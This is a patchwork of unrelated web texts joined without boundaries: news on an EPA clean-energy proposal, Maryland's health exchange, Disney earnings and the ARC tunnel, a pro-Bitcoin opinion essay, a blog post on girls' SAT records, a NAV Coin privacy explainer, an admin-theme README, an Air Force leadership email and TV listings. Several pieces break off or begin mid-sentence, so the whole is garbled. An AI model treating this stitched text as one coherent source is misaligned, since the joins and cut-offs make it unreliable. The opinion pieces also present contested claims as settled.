The EPA submitted a proposal to the White House for green energy subsidies for states that meet the federally mandated carbon dioxide reduction goals early. The Clean Energy Incentive Program would give “credit for power generated by new wind and solar projects in 2020 and 2021” and a “double credit for energy efficiency measures in low-income communities,” according to Politico’s Morning Energy.
Te move seems to violate the Supreme Court’s stay against CPP preventing the EPA from implementing its plan to cut carbon dioxide emissions from U.S. power plants. EPA, however, argues it’s doing this for states that want to voluntarily cut emissions — despite this being part of CPP.
“Many states and tribes have indicated that they plan to move forward voluntarily to work to cut carbon pollution from power plants and have asked the agency to continue providing support and developing tools that may support those efforts, including the CEIP,” reads a statement provided to Politico from EPA.
EPA Administrator Gina McCarthy is set to talk more about the plan Wednesday afternoon and will no doubt defend it from critics who will say the agency is violating a Supreme Court order.
“Sending this proposal to OMB for review is a routine step and it is consistent with the Supreme Court stay of the Clean Power Plan,” the EPA said.
EPA has been moving forward with aspects of the CPP despite the Supreme Court’s decision. After the court’s February decision, EPA began signalling it would continue to work with states that want to “voluntarily” move forward.
“Are we going to respect the decision of the Supreme Court? You bet, of course we are,” McCarthy told utility executives in February. “But it doesn’t mean it’s the only thing we’re working on and it doesn’t mean we won’t continue to support any state that voluntarily wants to move forward.”
Likewise, the head of EPA’s air and radiation office, Janet McCabe, has also suggested the rule will eventually be upheld.
“EPA utility rules have been stayed twice before, and ultimately upheld,” McCabe said while participating in a panel discussion in Bloomington, Ind., last week. “It’s only smart for states to keep working on this.”
“We stand ready at EPA to help any state that wants to move forward with their planning activities,” McCabe said, noting that some states pledged to cut CO2 after the Supreme Court stayed CPP.
McCabe was referring to an agreement signed by 17 states in the aftermath of the Supreme Court decision pledging to push forward fighting global warming. The agreement, signed mostly by Democratic governors, promotes cooperation between states in promoting green energy, not explicitly mentioning global warming.
McCabe neglected to mention the 30 states and state agencies suing EPA to get CPP struck down. That coalition of states was also joined by dozens of business groups, the coal industry and labor unions fighting to keep coal-fired power plants from being forced to close.
“EPA has crossed a line by assigning itself vast regulatory authority that surpasses anything ever contemplated by Congress,” Jeffrey Connor, interim CEO of the National Rural Electric Cooperative Association (NRECA), said in a statement. NRECA opposes CPP.
“The fact is that EPA didn’t produce a rule simply to reduce emissions — it crafted a radical plan to restructure the U.S. power sector,” Connor said.
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Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact licensing@dailycallernewsfoundation.org.Maryland will likely dump all or part of the state's health insurance exchange website and adopt Connecticut's system, a move that could make it the first state to abandon a dysfunctional site.
Officials with Maryland's exchange plan to turn to the "Connecticut solution," which was developed largely by Deloitte Consulting LLC and considered among the most successful in enrolling consumers in private health insurance under the Affordable Care Act, said two sources with knowledge of the situation.
Exchange officials insist that no decision has been made..
Connecticut's software is "on the table, among other options, but we've not made a final decision," said Carolyn Quattrocki, interim director of the Maryland Health Benefit Exchange.
"It's a multi-step process that we're undertaking," she said. "Then it becomes a recommendation to the board. The exchange board makes the final decision. We'll also need to work with our federal partners."
Many details remain to be worked out, and the plan could be derailed by logistics, costs or the federal government, which would likely be tapped to pay for the move, said the sources, who asked not to be named because discussions are continuing.
Maryland officials still need to decide how much of Connecticut's technology to use, how much of the existing architecture is salvageable and who would implement the changes. A big issue is how to enroll consumers in Medicaid, which Maryland now does through its exchange but Connecticut does not.
Officials in Connecticut declined to discuss any talks with other states, but they have been marketing such services to Maryland and others with potentially unfixable websites.
Leaders there said recently that they would have room to run one or two other states' sites wholesale on their servers out of their offices or provide guidance on how to hook up the technology. Connecticut also plans to integrate Medicaid enrollment into its exchange, called Access Health CT, but the timetable isn't clear.
So far, Connecticut, a much smaller state with fewer uninsured, has enrolled almost 57,500 in private health plans, compared with Maryland's enrollment of just over 38,000.
Maryland officials acknowledge a tight timeline to ramp up a new system. The current open enrollment ends March 31 and the next one begins in November.
They have outlined several options, such as moving to the federal site, fixing the existing site and adopting another state's technology.
Maryland's exchange — the Maryland Health Connection — crashed as soon as it launched on Oct. 1 and has been plagued by problems ever since.
Maryland's exchange officials brought in Optum/QSSI to assess options last December, and then the firm took over the site's management after the state terminated its relationship with its prime contractor, Noridian Healthcare Solutions.
The ultimate decision may be as complex as the website itself, one technology consultant said.
All of the technology developed by contractors for exchange websites is free for other states to adopt because it was paid for with federal dollars, but integrating the technology won't necessarily be simple or cheap, said Rick Howard, a research director at Gartner, an information technology research and advisory company.
Maryland has already reported that it expects to spend $261 million by 2015 on its exchange.
The state's website architecture Is far different from Connecticut's, so saving any portions of it could be tough, Howard said. But adopting Connecticut's system wholesale would require customization because |
oil trade. This is protected by the U.S. military industrial complex with 1000 bases spread around the world. As Nobel prize-winning economist Paul Krugman correctly put it, US fiat currency is "backed by men with guns".
The Federal Reserve private banks print money out of thin air and often debase the currency. Credit card and student loan businesses suck consumers into a web of debt. Attorney and author Ellen Brown wrote that credit card companies were "set up by big Wall Street banks and the card-issuing banks get about 80% of the fees" and that through monopoly they became the most profitable pursuit of the banking and payment industry. With hidden fees, usurious debt and interest and hidden private sales taxes, the US government collusion with financial giants commands the flow for corporate gain without the consent of the governed.
This central control of finance has enabled the US to maintain and further expand its superpower status that it attained after World War II. Economist David Korten (1995) noted that American hegemony was further granted through the creation of global financial institutions to stabilize currencies and facilitate capital investment in so-called developed nations through the establishment of the International Monetary Fund (IMF) and the International Bank for Reconstruction and Development (IBRD), also known as the World Bank. The IMF has become the world debt enforcer, making sure resources from indentured nations are funneled into the US Treasury, industries and banks.
The regime of central banks with their economic hit-man investors move from one place to the other to create bubbles that can absorb their surpluses until the last one bursts. They create another bubble and perpetuate the attendant colonization and exploitation. With the ongoing debasement of currencies, global ebbing of liquidity and parabolic expansion of debt, major currency crises are now emerging on the periphery. In March 2013, a crisis of forced austerity hit the small Mediterranean island nation of Cyprus and the government closed the country’s second largest bank in return for an international bailout by Eurogroup, the European Commission and European Central Bank. A similar trend is occurring in Argentina. Early this year the national currency, the Peso fell in steepest loss since the country’s 2002 economic collapse.
These Western patronage networks engage in financial colonization through rent seeking and financial exclusion. According to new World Bank research, the world’s 2.5 billion are unbanked. The system discriminates and takes advantage of those who are marginalized. One instance of this is the remittance industries. In the article "Economics of Trust" Richard Boase pointed out how the remittance industry through monopolies have made profits according to the World Bank report of somewhere between "$400bn and $530bn in 2012", which is expected to grow to over $680bn in the coming years. Giant money transfer agents like Western Union extract an average of more than 12 % of hard work for migrants in their efforts to send money back home.
Bitcoin not only sheds light on the inherent injustice embedded in the existing hierarchical financial systems, but at the same time offers a game-changing solution. Bitcoin adoption is increasing by those who been subprime targets of Western predatory usury. In countries like Argentina and Cyprus where governments steal their money through debasement, Bitcoin is becoming a safe haven. With global decentralized payments, the unbanked or underbanked who have been systematically oppressed can participate in the world’s economic activities on their terms. With this borderless transnational currency, Somali migrant workers can emancipate themselves from the rapacious monopoly of the remittance industry and keep most of their money in their own hands.
In the 2008 financial meltdown and currency collapses we have seen signs of the deep problems of this centralized system. These global institutional crises and endemic corruption are converging with the imminent endgame of the petrodollar. All empires fall. Amid the initial flaming death throes of this empire, the Bitcoin technology has risen. Now the invention of the blockchain peer-based trust system enables people to create their own money and enter into their own untethered transactions.
Collective divesting from the patronage financial networks of warmongers and corporate patrons brings disruption to the controlled pipeline that funds the dirty resource wars and supports insidious debt peonage. Ordinary people the world over can work together to end this financial colonization and apartheid. We can now walk away from all this unnecessary bloodshed and move toward a new global society where the flow of our common humanity that is kindled in the heart can determine our future.
Nozomi Hayase, Ph.D., is a writer who has been covering issues of freedom of speech, transparency and decentralized movements. Her work is featured in many publications. Find her on twitter @nozomimagine.
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Above is a table summarizing new data just released by The College Board on the academic records of the 1.64 million US high school students who took the SAT in 2016 (see my recent CD post on gender differences on the SAT math test here). As you can clearly see, these data provide convincing evidence of the academic superiority of female high school students compared to their male peers based on a variety of measures of academic performance:
More girls than boys graduate in the top 10% and the second 10% of their classes
Far more girls than boys have GPAs of A+, A and A- while far more boys than girls have GPAs of C or below
Girls have a higher overall average GPA than boys
More girls than boys have completed more than four years of study in every one of six subjects reported
More girls than boys have taken high school AP courses and/or Honors courses in the six subjects reported
After posting the table on Twitter yesterday afternoon, I received the following interesting responses:
Where’s your academic sexism now?
Look how successful the feminization of education has been. Go girls!
Is this encouraging or discouraging? Do teachers need training in the unique learning needs of boys? Are there unique learning needs of boys?
Prima facie evidence of discrimination, am I right?
Public schooling is obviously geared towards female traits
Except the SAT. Curious, when you test them objectively, the “academically inferior” win
When will America face the crisis of bias against males in academia?
Obvious sexism, the patriarchy at work
The system is absolutely failing an entire generation of boys
Maybe we stop talking so much about anti-girl culture?
A few years ago, such a thing, reversed, would be hard evidence of institutional sexism against girls. Now, as then, this must be reversed
If these numbers were reversed and girls were lagging so far behind–imagine the reaction
And shouldn’t this clear academic superiority of female high school students also challenge the need for hundreds of women’s centers and women’s commissions on college campuses across the country? Here’s a portion of an email (with the table above) that I sent today to the 100% female commissioners of the University of Michigan-Flint’s Women Commission, whose mission is to “report on the status and needs of women [only] on campus” and “build a truly welcoming and inclusive community”:
The data in the table above are another example of the remarkable and extraordinary academic success of women in America’s education system, especially when compared to their male counterparts, and this remarkable female academic superiority and achievement at the high school level obviously carries over to students at the university level who attend institutions like the University of Michigan-Flint. Given these data and additional overwhelming evidence of the remarkable academic success of women at every education level from high school to doctoral programs, I’m still wondering if there should be some further discussion on our campus on how to reconcile the existence of a Women’s Commission (to monitor exclusively the status and needs of women) with the obvious academic superiority of that group compared to their male peers? If the percentages in the above table were reversed and showed that high school boys were academically superior to high school girls on a variety of measures, then it would make more sense to provide support for female students at UM-Flint with a commission dedicated exclusively to their status and needs. But given the actual academic superiority of the high school girls who attend UM-Flint (compared to boys), it seems much harder, and much less fair, to mobilize resources on our campus to report on the status and needs of only women on our campus, while neglecting the group that is clearly struggling academically.
MP: I’m not sure the overwhelming evidence of female academic success from high school through doctoral programs will be enough to challenge the existence of gender activism on college campuses, and probably won’t lead to the elimination of women’s centers and women’s commissions. The “female grievance industry” is too entrenched at our universities and in society, and we’ll probably never hear about how female academic success represents such an important victory and milestone for women, that the hundreds of university women’s centers are no longer needed or justified. No, instead we’ll probably hear for generations about how important it is to monitor and report on the “status and needs of college women,” while ignoring the “status and needs” of the “second sex” on college campuses – men.When last we covered NAV Coin, they were in the midst of some massive upgrades. Instead of forking their blockchain, however, they decided to start a new one, which recorded the old balances in its genesis block.
Despite warnings, exchanges such as Poloniex were slow to switch over, resulting in unprecedented arbitrage opportunities. Many speculators were probably disappointed when the new NAV tokens (tradeable on Bittrex at the time) didn’t rise to Poloniex prices upon upgrade, but the price spiked again at the beginning of August and then tripled in September.
So, what’s driving these massive spikes? Since NAV Coin’s most prized attribute is the anonymity it provides, it was likely some players in the dark net who had been following NAV’s development. They caused price explosions in coins like Monero and ZCash, and might be hoping that NAV will earn similar support from dark net markets.
Such dark markets still constitute a significant fraction of cryptocurrency transaction volume, and for them, anonymity is key. With that in mind—as well as common financial privacy concerns—the NAV team began developing an improved system called NAVTech, releasing the white paper at the end of September. They successfully tested the beta in October, and then announced it would be released November 1st.
The launch proved successful, and NAVTech is now up and running. To the user, it looks very simple: just tick the box to “Send NAV Anonymously” and it will do exactly that to the specified address. The only requirement is that you send between 10 and 10,000 NAV coins.
Behind the scenes, however, some new innovations are at work. Normally, you send cryptocurrency directly from one person to another, leaving a trail from the sender to the recipient. Although both parties are pseudonymous, this permanent record on the blockchain provides clues that can help to piece together your identity. That’s why the Bitcoin economy has developed “mixers,” which jumble transactions together to obfuscate the flow of coins.
Mixers charge considerable fees, however, and require a lot of trust. NAVTech decentralizes the process using clusters of servers, with each server designated for either incoming or outgoing transactions. When you issue an anonymous transaction, you choose an incoming server at random, which provides you with one of many NAV holding addresses to send your coins to.
The recipient address is encrypted and sent over to the incoming server. The incoming server then chooses a random outgoing server in the trusted cluster, all of which share a secret passphrase to screen for malicious actors. The outgoing server generates and provides a temporary public key, which the incoming server uses to re-encrypt the recipient address as well as the amount of NAV to send.
This encrypted data is then inserted into a secondary blockchain called the Subchain, allowing us to verify everyone’s balances without revealing their identities. Only the outgoing server with the corresponding private key can decrypt the recipient address, but anybody can encrypt another address and compare to see if they match. To obfuscate the flow of funds on the primary blockchain, incoming servers send the anonymized NAV to outgoing servers in bulk every 2 minutes, and the batch is held for one transaction cycle.
The outgoing servers issue NAV from the previous transaction cycle to the intended recipients, which means that they receive entirely different coins. The actual process is more complicated, and not necessarily in that order, but you don’t really have to worry about it. You can give NAVTech a try on Windows, OSX, Linux or Android by downloading from here.UPS is partnering with the New York State Energy Research and Development Authority to develop new technology to switch its diesel-fueled delivery vehicles to over to electric power.
The NYSERDA will provide $500,000 to help develop the technology, with the hope that the company will have a production version ready for spring 2018, and that by 2022, they will have switched over up to 1,500 trucks, or 66 percent of the fleet operating in the city.
Unique Electric Solutions is the company that developed the technology behind the conversions, which features a “225kW Switched Reluctance Motor (SRM) with a high voltage back bone optimized for the duty cycle of UPS delivery trucks.”
The delivery company hopes that by 2020, one in four of its vehicles will be more electric, hybrid, or alternate-fuel vehicles. The company also says that it presently uses “more than 770 electric or hybrid electric vehicles,” as well as more than 8,500 alternative fuel and advanced technology vehicles worldwide.” It recently partnered with Daimler to use three of its eCanter short-range electric trucks. Converting its present-diesel vehicles will undoubtably help get it closer to that goal.Introduction
Vali is a responsive and free admin theme built with Bootstrap 4, SASS and PUG.js. It's fully customizable and modular. You don't need to add the code, you will not use.
Vali is, a light weight yet expendable and good looking theme. The theme has all the features required in a dashboard theme but this features are built like plug and play module.
Directory Structure
│ ├── docs - compiled files │ ├── css │ ├── images │ └── js └── src - Layout and style source files ├── pug - Layout source └── sass - Style source
Compilation of source files
The theme is built using SASS and PugJs which are in turn compiled into HTML and CSS by Grunt. If you are not familiar with Grunt, here is an article to get started. If you are familiar with Grunt follow the instruction mentioned bellow to edit or customize the source.
If you don't want to edit theme you can use the compiled files directly inside docs folder.
Run npm install command in project root directory to install and build dependencies.
Use npm run dev task to edit and compile source files on the go or use npm run build task to compile all source files at once.
Layout Customization
The layout is built using PugJs. All the layout source files are located in src/pug directory. There are two sub directories inside this directory:
layout - Includes common HTML skeleton layout which is extended by all the pages includes - Includes layout partials like sidebar and navbar and footer
Style Customization
The styles are written in SASS. All the style files are located in src/sass directory. There is a file in this directory main.sass which imports all the files and exported as main.css There are four sub directories inside this directory:
1-tools - It includes styles of all the external libraries and a file _var.scss which contains the variables required for the application 2-basics - It contains the basic style like overall structure css and theming options 3-component - It contains the styles for the components like card, widgets, sidebar, navbar etc 4-pages - It contains the styles for the specific pages like login page, lock-screen page
To customize the primary color of the theme and sidebar you need to change the variables in the 1-tools/_var.scss. The detailed documentation about changing the colors is mentioned in this file itself.
If you don't want to use particular component or plug-in just comment the import statement for that particular component in src/sass/main.scss and compile the SASS by running npm run build command.
Compatibility with other frameworks
This theme is not built for a specific framework or technology like Angular or React etc. But due to it's modular nature it's very easy to incorporate it into any front-end or back-end framework like Angular, React or VueJs or Node JS. The CSS is modular enough to be incorporated in any framework. While the Javascript used to make the components interactive can be used from any of the following framework.
If you are using Angular you can use ui-bootstrap, for React use React-Bootstrap and for VueJs you can use VueStrap.
If you are using Node JS as your web server you can use pug as your layout engine to render html templates. More details are available here.
RTL Support
To enable RTL support
Uncomment this line @import '3-component/rtl'; in src/sass/main.scss.
in. Add dir="rtl" attribute to <html> tag in src/pug/layouts/_layout.pug.
attribute to tag in. Build the source files using npm run build command.
Contribution
If you liked the theme do star and fork it on GitHub. If you find anything missing or want to contribute to this documentation, the source is available here. If you have an issue or feature request regarding theme please report it here.Mission Reports
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Space Books
House passes bill to rename NASA facility for Armstrong
BY SPACEFLIGHT NOW
Posted: December 31, 2012
The U.S. House of Representatives on Monday passed a bill that would rename NASA's aeronautics facility at Edwards Air Force Base in California after Neil Armstrong, the first man to set foot on the moon.
Credit: NASA
Armstrong, who piloted the Eagle to the Sea of Tranquility on July 20, 1969, passed away in August after complications from cardiovascular surgery. He was 82. One of the most famous men of the 20th century, Armstrong was born August 5, 1930 in Wapakoneta, Ohio. He was a naval aviator in the Korean War, flew the X-15, served as command pilot for Gemini 8 in 1966 and led Apollo 11 in 1969. Under the House bill sponsored by Rep. Kevin McCarthy, NASA's Hugh L. Dryden Flight Research Center in Edwards, California, would be redesignated as the Neil A. Armstrong Flight Research Center. The House passed the measure 404-0. But the Senate has to act before the renaming moves forward. The site supported 54 space shuttle landings and currently manages the Stratospheric Observatory for Infrared Astronomy (SOFIA) program, which is a collaborative project between NASA and the German Aerospace Center to fly a telescope aboard a Boeing 747 aircraft. NASA also performs its aeronautical research and development activities at the center, which is located at the expansive Edwards Air Force Base. The associated range would be redesignated as the Hugh L. Dryden Aeronautical Test Range under the House bill. Dryden was a revered engineer who led aeronautical research at NACA before the agency became NASA, then served as its first deputy administrator before his death in 1965. Rep. McCarthy's California district encompasses the center. He was joined by seven co-sponsors, Reps. Ken Calvert, Buck McKeon, Dana Rohrabacher and Adam Schiff of California, Ralph Hall and Lamar Smith of Texas, and Steven Palazzo of Mississippi.The text below is from an email sent by the Chief of Staff to his wing commanders and key leaders earlier today. In it, he makes a major policy announcement: that the service is ending the venerable process of using the annual Major promotion board results to determine which of its officers will attend in-residence developmental education.
The change is significant. For generations, officers have approached this board knowing they’d have a very high chance of being promoted but very tough odds of getting selected for school, attendance at which is the first chance for the service’s best and brightest officers to start separating from the pack and accelerating toward unit leadership.
The Air Force has decided that the upside of distinguishing its fast-trackers at the 8-10 year point is not justifying the substantial risks and downsides, which include demotivating superb-performing officers whose records don’t sing as loudly at a central board as those of peers with more quantifiable or easily grasped achievements. The change gives field commanders more direct control over who will attend, which theoretically rests the decision in the best place (though critics will say it trades objectivity for potential favoritism and bias).
Perhaps the most eye-opening aspect of the decision is that it signals how little confidence the service has that 8 years is enough time to glimpse the leadership potential of its officers. This is the root cause of the longstanding conflict over when school selection should be made, and has yet to be addressed. But in the absence of a root cause fix, the change pushed by Goldfein reduces its impact, arguably giving the Air Force a better chance of getting the right officers the professional education needed for them to develop into strong commanders.
Much more to be said later in a more fulsome analysis. For now, enjoy Gen. Goldfein’s message to the field.
Commanders, During the Wing Commanders Call in January, I emphasized to you the importance of pushing decision authority down to the right level across the Air Force. I also emphasized my complete trust and confidence in each of you to run your wings and take care of your people so they can take care of your mission. You’ll recall we had a healthy discussion about the negative impacts of publishing in-residence school select status during promotion board releases. As you relayed to me, for the few that made the cut, it was a great day. For the rest of our outstanding officers, it turned what should have been a celebration of getting promoted into a negative experience by not getting selected for in-residence PME. As a result of this discussion, we have eliminated developmental education select status from all future promotion boards beginning with the rollout of the Major’s board results this month. While in a perfect world we would have announced this change well prior to the board release to set expectations, SECAF and I made the decision at CORONA last week and I don’t want to wait any longer to implement. I need your help to explain the “why” behind the decision and our way ahead. Here are talking points to help you: This change aligns with SECAF and CSAF focus on readiness and lethality by allowing commanders to nominate their best officers who deliver sustained performance. This change pushes decision authority for who is nominated to go to school in-residence and when it makes the most sense for their career and family situation exactly where it belongs … with commanders who know them best. Officers will compete on equal ground for opportunities with more on-ramps for officers who demonstrate leadership, potential, and superior performance over the span of their career vs at a single snapshot in time. We will NOT break faith with officers currently on a select list. They will be grandfathered and will attend in-residence PME during the appropriate window. While we are working the details, expect that YOU will have a stronger voice in the process. Re-read #2 above. The number of in-residence opportunities will not change. This merely changes the process by which we select our best based on your assessment of their sustained performance and their potential to lead in the complex global security environment we operate in. This change impacts in-residence, developmental education nominations beginning in calendar year 2018 for academic year 2019 and beyond. Procedures for nominating your officers for in-residence education will be published no later than February 2018. While I am absolutely confident this is the right decision, I am equally confident a good portion of our officer corps will be skeptical. Given all the turmoil and instability of the past several years, trust in senior leadership on these issues is not high. In every challenge an opportunity. Please get out front of this and engage with your subordinate commanders and officers. Emphasize that this change came directly from their inputs from the field … and your recommendations to me during the Wing Commanders conference. Bottom line … we must own this together. As always, thank you for your leadership. Proud to serve with you … trust you completely … don’t wait for me. Fight’s on! David L. Goldfein, Gen, USAF
21st Chief of StaffReport: New Jersey pulls plug on ARC Tunnel By Benjamin Kabak By· Published in 2010
Via Andrea Bernstein at Transportation Nation:
Three sources familiar with the $8.7 billion tunnel under the Hudson river from NJ, say, barring an unexpected, last-minute change of heart from Governor Chris Christie, the ARC transit tunnel under the Hudson river is dead. The sources say Christie will likely announce this week that he’s restructuring NJ’s portion of the money to go to roads. The FTA and the Port Authority will recoup their $3 billion each, though the Port’s money will likely go into other regional projects.
The writing had been on the wall for this project since September 13 when New Jersey Gov. Chris Christie suspended work on it to “review costs.” The state’s leaders feared that the $8.7-billion price tag was too conservative and that the state would be forced to pony up money it didn’t have. At one point, Christie claimed that the project could cost $5 billion more than expected.
On September 16, as activists urged Christie to resume work on the project, I explored the governor’s wavering commitment to the much-needed transit project, and by September 21, it seemed clear that New Jersey would takes its tunnel investment and siphon it into its transit fund with a heavy emphasis on road spending. That’s exactly what appears to be happening.
As recently as yesterday, New Jersey officials confirmed that the ARC Tunnel money could go into New Jersey’s empty transportation coffers. “I don’t know,” Jim Simpson, Christie’s transportation commissioner, said in response to questions of the funds’ future, “but let’s look at the source of the money. You’ve got a billion dollars of federal money that comes to the New Jersey Department of Transportation that would normally be associated with highway projects. You’ve got that billion coming in—100 million a year—that is rededicated, flexed to ARC. So if ARC didn’t happen there’s a billion dollars for roads and bridges and things like that.”
The ARC money will most likely be funneled into New Jersey’s near-empty Transportation Trust Fund. While some of the money will go to rail — the past breakdown is available here — any New Jersey transit upgrades will pale in comparison with the potential future benefits to the region and state from the ARC Tunnel.
And so, there appears to be no future for this project. Michael Bloomberg said that, as this project has long been New Jersey’s baby, the city will not step in to fill the funding void. The Port Authority has expressed its support, but without New Jersey’s $3 billion contribution, the PA doesn’t have the money to keep it going. The Port Authority has not yet said how it will deploy the money it had committed to the ARC project.
While Transportation Nation called this a huge blow to a transit-oriented Obama Administration, the impact of this decision wille extend well beyond Washington. Despite the project’s flaws, the region needs to increase its rail capacity into and out of Manhattan. With Christie’s decision, the Trans-Hudson Express Tunnel will remain but a dream on paper, and the Access to the Region’s Core will not be improved. What a shame.Actor Rob Lowe investigates mysteries and legends over land and sea in his upcoming A&E series, “The Lowe Files,” lending credence to myths as outlandish as Bigfoot.
But he apparently won’t go as far as Charlie Sheen.
Lowe and his sons, who also appear in the upcoming show, spoke about it in front of a crowd of journalists as part of the Television Critics Association summer press tour in California’s Beverly Hills on Friday. At one point, Variety noted, the actor’s sons recalled feeling skeptical after learning their father and a “famous friend” think the moon is hollow.
Lowe then intervened to reveal his that this famous friend is Charlie Sheen, adding that of the two of them, only Sheen believes the moon is hollow.
HuffPost has reached out to Sheen’s rep for the actor’s take on the cosmos.
Rob Lowe at press conference w/his kids for new show. They say he had friend who believed moon was hollow. He reveals it was Charlie Sheen. — Eric Deggans at NPR (@Deggans) July 28, 2017
Things that just happened at #TCA:
1. Like a pro @soniasaraiya captivated @RobLowe
2. @RobLowe says @charliesheen thinks the moon is hollow — Elizabeth Wagmeister (@EWagmeister) July 28, 2017
Of course, the “hollow moon theory” is not backed up by any evidence in the scientific community, but some conspiracy theorists are seemingly encouraged by observations that the moon rings like a bell. A hollow moon is also featured in science-fiction author H.G. Wells’ 1901 novel The First Men on the Moon.
If Lowe is looking for ideas for Season 2, though, he might want to have a chat with his old friend.The Walt Disney Company began its fiscal year with a whimper, as the entertainment giant was unable to successfully fend off headwinds facing its cable business, reporting revenue that fell short of expectations.
After the close of markets Tuesday, Disney reported revenue of $14.8 billion and earnings of $1.55 a share for the three months ended Dec. 31, which the company classifies as the first quarter of its fiscal year. The Mouse House reeled in $15.2 billion in revenue and earnings of $1.63 a share for the corresponding period a year earlier, which included one of the biggest movies ever, “Star Wars: The Force Awakens.”
Analysts had estimated $15.3 billion in revenue and earnings of $1.50 a share on average for the most recent quarter.
Also Read: Thousands Demand Disney CEO Bob Iger Speak Out Against Trump Travel Ban
“We’re very pleased with our financial performance in the first quarter,” Disney Chairman and CEO Bob Iger said in a statement accompanying the earnings. “Our Parks and Resorts delivered excellent results and, coming off a record year, our Studio had three global hits including our first billion-dollar film of fiscal 2017, ‘Rogue One: A Star Wars Story.’ With our proven strategy and unparalleled collection of brands and franchises, we are extremely confident in our ability to continue to drive significant value over the long term.”
Cable networks, particularly ESPN, have been an albatross on Disney’s stock price even as the company’s two other major prongs, movies and theme parks, continue to perform well. As cheaper TV alternatives began to proliferate, ESPN hemorrhaged subscribers during the course of 2016 and is now at less than 88 million, compared with a peak of 100.1 million in 2011. At an estimated $7 per subscriber, that dip has been a substantial hit to Disney, especially considering media networks made up 49 percent of Disney’s profits during fiscal 2016.
At the same time, rights fees for the live sports ESPN specializes in broadcasting continue to go up, as there’s plenty of competition for one of the few pieces of programmed television that still delivers monster ratings. ESPN will pay $7.3 billion for content this year – the biggest price tag among all media companies. Operating income at Disney’s cable networks division — primarily ESPN — plunged 11 percent compared with the same time the previous year. Disney attributed that drop entirely to lower ESPN revenue.
Also Read: 'Rogue One: A Star Wars Story' Hits $1 Billion Worldwide
The timing of this year’s college football playoff games — always among ESPN’s highest-rated broadcasts — also wasn’t favorable. Three of the games occurred during the company’s fiscal first quarter compared with six last year, accounting for part of the drop. However, Disney also identified declining subscribers as a contributing factor in its earnings report.
On the other hand, Disney’s film division had a record 2016, becoming the only studio in history to gross more than $7 billion in a single year at the international box office and $3 billion domestically. Disney also had four of the five highest-grossing films at the domestic box office last year. After a mid-year lull, which was reflected in its last earnings report, Disney regrouped for the holiday season behind “Rogue One: A Star Wars Story,” which has already blasted its way past $1 billion worldwide — but the studio couldn’t match its banner haul from last holiday season.
Parks and resorts was the Mouse House’s best-performing division, and the only to report year-over-year gains in revenue and profit. Behind new attractions at home and the opening of Shanghai Disneyland Park in June, the division reported a 6 percent increase in revenue and a 13 percent jump in profit.No Good Deed When a charming stranger shows up at the door of a devoted wife and mother of two claiming car trouble, she offers her phone to help him. But the invitation leads to a fight for survival when the stranger – an escaped convict – invades her home and terrorizes her family.
120 minutes · TV-MA
Terminator Genisys In 2029, John Connor, leader of the human resistance, sends Sergeant Kyle Reese back in time to protect his mother, Sarah, from a T-800 Terminator sent by Skynet to assassinate her. But Reese arrives in a 1984 where the timeline has been altered, and Sarah Connor is a skilled fighter with a reprogrammed Terminator determined to stop Skynet before it launches Judgment Day.
150 minutes · TV-MA
Black-ish "One Angry Man" Sn.3 Ep.16 Dre is forced to participate in jury duty after Junior responds to the summons that was thrown away. The case is supposed to be open and shut, but when Dre sees that the defendant is a young African American, he feels a civic responsibility to give him a fair trial. Meanwhile, Bow decides to let the kids swear in the house since they are more open with her that way, but she and Ruby soon regret the decision.
30 minutes · TV-14
Black-ish "Toysrn'tus" Sn.3 Ep.17 Janine gives Diane a white Girlstory doll for her birthday, and when Bow tries to return it for a black doll, she is shocked by the limited options offered. Dre blames the lack of representation of African Americans in the media, but when confronting this systematic problem, he realizes that he has prejudices of his own. Meanwhile, Ruby enlists the help of Junior to be her Spades partner.
30 minutes · TV-PG
Black-ish "Manternity" Sn.3 Ep.18 Dre considers taking paternity leave after he realizes that Zoey is arguably the best child and their bond developed while he was unemployed when she was born. Meanwhile, Bow tries to hide her pregnancy in order to get a promotion, and Ruby convinces the kids that their nanny, Vivian, is stealing from them.
30 minutes · TV-PG
Black-ish "What Lies Beneath" Sn.3 Ep.21 Dre's sister Rhonda is in town, and he feels a little jealous of her close relationship with Pops. Dre and Bow urge Zoey to take Junior to a high school party, and things get out of hand. Meanwhile, the twins feel like they're soon to be forgotten, so they decide to live life to the fullest.
30 minutes · TV-14
Black-ish "Sister, Sister" Sn.3 Ep.24 Bow's sister comes to town after filming a stint on a reality show, and they couldn't have less in common. Meanwhile, Zoey suggests that Dre spend more time with Junior since she's leaving for college, and Jack and Diane decide to rebrand themselves.
30 minutes · TV-14
Black-ish "All Groan Up" Sn.3 Ep.22 When Zoey gets into several colleges around the country, Dre and Bow begin to feel worried and sentimental. They reflect back on memories they've had with the family and wonder what life will be like without her around all the time. Pops enlists the twins to try and sway Zoey to go to college in a city they want to visit.
30 minutes · TV-PG
The Simpsons "Bart on the Road" Sn.7 Ep.20 Using a fake driver's license, Bart rents a car and embarks on a Spring Break road trip with his friends. A special bond develops between Lisa and Homer after Skinner invents Go To Work With Your Parents Day.
30 minutes · TV-PG
The Simpsons "22 Short Films About Springfield" Sn.7 Ep.21 The lives of Springfield residents are highlighted in a series of interconnecting vignettes.
30 minutes · TV-PG
The Simpsons "Raging Abe Simpson and His Grumbling Grandson in 'The Curse of the Flying Hellfish'" Sn.7 Ep.22 Grampa and Mr. Burns, the last surviving members of a World War II army unit, vie for a priceless collection of rare art hidden in a secret location.
30 minutes · TV-PG
The Simpsons "Much Apu About Nothing" Sn.7 Ep.23 Apu faces deportation when a referendum on illegal immigrants is placed on the Springfield ballot.
30 minutes · TV-PG
The Simpsons "Homerpalooza" Sn.7 Ep.24 Homer is hired to perform in a rock festival.
30 minutes · TV-PG
The Simpsons "Summer of 4 Ft. 2" Sn.7 Ep.25 While on summer vacation with her family, Lisa sheds her nerdy image in an effort to make new friends.
30 minutes · TV-PG
The Simpsons "Treehouse of Horror VII" Sn.8 Ep.1 The Simpsons appear in three tales of terror: Bart discovers an evil twin brother living in the attic; Lisa creates a microscopic society; and space aliens transform themselves into Clinton and Dole look-alikes.
30 minutes · TV-PGPosted on Sep 16, 2015 in Jamie Joseph
Jamie Joseph on assignment: Luangwa Valley, Zambia.
Mission: Solving poverty saves wildlife.
“We’ve designed a business model which will ultimately put us out of work,” Nemiah Tembo tells me proudly as we travel the two hour bumpy road from the city of Chipata to a village in Chinunda.
Nemiah is an extension manager for nonprofit COMACO – Community Markets for Conservation. COMACO’s long-term |
